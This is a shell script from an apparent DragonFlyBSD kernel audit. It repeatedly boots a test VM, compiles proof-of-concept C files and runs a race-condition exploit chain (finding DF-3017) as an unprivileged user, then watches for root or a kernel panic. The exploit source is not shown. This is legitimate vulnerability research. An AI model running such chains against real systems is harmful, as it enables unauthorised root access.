⬢ DragonFlyBSD Kernel Audit
DF-3017 / tightloop3.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/bin/sh
# v3 driver: reboot 2cpu forensic VM, harvest node template, run the
# DECOUPLED-CORNER chain (df3017d) as uid 1001, watch the serial line.
# usage: ./tightloop3.sh [N_ATTEMPTS [SECS [E_TOTAL [ARM_N [BATCH]]]]]
set -u
cd /home/maxx/dfbsd/dfbsd
SSH="-F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i dfbsd-qemu/id_ed25519_dfbsd"
LOG=findings/poc/DF-3017/run_chain3.log
N=${1:-12}
SECS=${2:-90}
ETOT=${3:-850}
ARMN=${4:-150}
BATCH=${5:-4}

attempt=0
while [ "$attempt" -lt "$N" ]; do
	attempt=$((attempt + 1))
	echo "=== v3 attempt $attempt $(date -u +%H:%M:%S) ===" | tee -a "$LOG"
	kill $(cat /tmp/opencode/df3017-f2.pid 2>/dev/null) 2>/dev/null
	sleep 2
	ps ax | grep df3017-f2 | grep -v grep | awk '{print $1}' | xargs -r kill -9 2>/dev/null
	sleep 2
	(cd dfbsd-qemu && ./forensic2cpu.sh) >/dev/null 2>&1
	up=0; i=0
	while [ $i -lt 60 ]; do
		ssh -o ConnectTimeout=5 -p 5535 $SSH root@127.0.0.1 true >/dev/null 2>&1 && { up=1; break; }
		sleep 3; i=$((i+3))
	done
	[ "$up" = 1 ] || { echo "boot failed" | tee -a "$LOG"; continue; }

	scp -P 5535 -q $SSH findings/poc/DF-3017/df3017d.c root@127.0.0.1:/tmp/d.c 2>/dev/null
	scp -P 5535 -q $SSH findings/poc/DF-3017/nodefree.c root@127.0.0.1:/tmp/nf.c 2>/dev/null
	ssh -p 5535 $SSH root@127.0.0.1 '/bin/sh -c "cd /tmp && cc -O2 -pthread -o dx d.c && cc -O2 -o nf nf.c && chown maxx dx nf && chmod 755 dx nf"' >>"$LOG" 2>&1 || continue
	ssh -p 5535 $SSH maxx@127.0.0.1 '/tmp/nf 700' >>"$LOG" 2>&1
	timeout 100 python3 findings/poc/DF-3017/walkzones.py 22 >>"$LOG" 2>&1
	scp -P 5535 -q $SSH /tmp/opencode/node_tpl.bin root@127.0.0.1:/tmp/recon.node.tpl 2>/dev/null
	ssh -p 5535 $SSH root@127.0.0.1 'chown maxx /tmp/recon.node.tpl' >/dev/null 2>&1

	ssh -p 5535 $SSH maxx@127.0.0.1 "/bin/sh -c 'rm -f /tmp/dx.log /tmp/df3017.root /tmp/df3017.id /tmp/df3017.uid0; nohup /tmp/dx $SECS $ETOT $ARMN $BATCH >/tmp/dx.log 2>&1 < /dev/null & echo RACING'" >>"$LOG" 2>&1
	sleep 6	# let the launch ssh session drain away
	ssh -O exit -p 5535 $SSH maxx@127.0.0.1 2>/dev/null || true
	ssh -O exit -p 5535 $SSH root@127.0.0.1 2>/dev/null || true

	i=0; result=none
	while [ $i -lt 80 ]; do
		if grep -aq "DF3017-CHAIN-WON" /tmp/opencode/df3017-f2-serial.log 2>/dev/null; then
			result=WIN; break
		fi
		if grep -aqE "panic:|Fatal trap|Fatal user" /tmp/opencode/df3017-f2-serial.log 2>/dev/null; then
			result=panic; break
		fi
		if ! kill -0 $(cat /tmp/opencode/df3017-f2.pid 2>/dev/null) 2>/dev/null; then
			result=vm-died; break
		fi
		sleep 4; i=$((i+4))
	done

	case $result in
	WIN)
		echo "=== CHAIN WIN attempt $attempt ===" | tee -a "$LOG"
		sleep 4
		cp /tmp/opencode/df3017-f2-serial.log "findings/poc/DF-3017/win3.serial.log"
		scp -P 5535 -q $SSH root@127.0.0.1:/tmp/dx.log "findings/poc/DF-3017/win3.dx.log" 2>/dev/null
		ssh -p 5535 $SSH root@127.0.0.1 '/bin/sh -c "cat /tmp/df3017.root; cat /tmp/df3017.id 2>/dev/null; id maxx"' >>"$LOG" 2>&1
		exit 0 ;;
	panic)
		echo "--- attempt $attempt: $(grep -a -m1 -oE 'panic:.*|Fatal.*' /tmp/opencode/df3017-f2-serial.log | head -c 120) ---" | tee -a "$LOG"
		cp /tmp/opencode/df3017-f2-serial.log "findings/poc/DF-3017/last3.panic.serial.log" 2>/dev/null ;;
	vm-died)
		echo "--- attempt $attempt: vm died without serial panic line ---" | tee -a "$LOG"
		cp /tmp/opencode/df3017-f2-serial.log "findings/poc/DF-3017/last3.panic.serial.log" 2>/dev/null ;;
	*)
		echo "--- attempt $attempt: $result after ${i}s ---" | tee -a "$LOG"
		ssh -p 5535 $SSH root@127.0.0.1 '/bin/sh -c "tail -6 /tmp/dx.log"' >>"$LOG" 2>&1 || true ;;
	esac
done
echo "=== no win after $N attempts ===" | tee -a "$LOG"
exit 2